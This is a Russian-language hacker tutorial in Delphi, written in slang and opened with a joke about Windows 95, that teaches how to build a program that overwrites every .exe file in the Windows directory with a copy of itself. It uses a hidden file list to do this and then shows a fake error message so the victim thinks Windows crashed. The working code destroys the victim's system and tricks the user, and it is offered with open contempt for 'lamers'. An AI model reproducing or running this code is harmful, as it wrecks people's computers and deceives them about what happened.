Заменяем все exe-файлы в папке Windows
|
Звонок в Microsoft:
- Здраствуйте, три года назад я установила Windows 95. За все время работы не было ни одного сбоя. Подскажите, что я неправильно делаю...
|
Hi, перец! сегодня мы напишем прогу, заменяющую все exe - файлы в директории Windows
Итак, начнём.
Создаём новый Project. Для начала нам нужно узнать, в какой директории установлена Windows. Для этого в разделе public пишем:
Windir: string;
WindirP: PChar;
Res: Cardinal;
|
Затем по событию OnActivate:
WinDirP := StrAlloc(MAX_PATH);
Res := GetWindowsDirectory(WinDirP, MAX_PATH);
if Res > 0 then
WinDir := StrPas(WinDirP); //теперь в переменной Windir у нас находится путь к Windows
|
Теперь перейдем непосредственно к самому изъятию ); Всё в том же событии OnActivate пишем:
var
OurFileCopyName: string; // - до begin, заводим две переменные
i: integer;
|
Затем перейди в закладку Win 3.1 найди там FileListBox и кинь его на форму, устанонови Свойство Visible в false, чтоб глаз не мозолил ); в свойстве Mask установи значение *.exe , чтобы в нём оторбажались только *.exe-файлы. Теперь всё в том же OnActivate пиши:
FileListBox1.Directory := Windir;
OurFileCopyName := 'c:\our.exe';
CopyFile(PChar(Application.ExeName), PChar(OurFileCopyName), true); // - создаём временный файл
for i := 0 to FileListBox1.Count - 1 do // - запускаем цикл
CopyFile(PChar('c:\our.exe'), PChar(Windir + '\' + FileListBox1.Items.Strings[i]), false); // - заменяем файло
DeleteFile('C:\our.exe'); // - Уничтожаем временный файл
|
Все! теперь что бы ламерюга не запустил (из Windows-овского говна) запустится наша кул-хацкерская прога
З.Ы. можешь ещё в OnActivate прописать:
ShowMessage('Windows beta version extracted!');
|
чтобы ламерюга подумал, что у него Windows грохнулся!
Усё!
|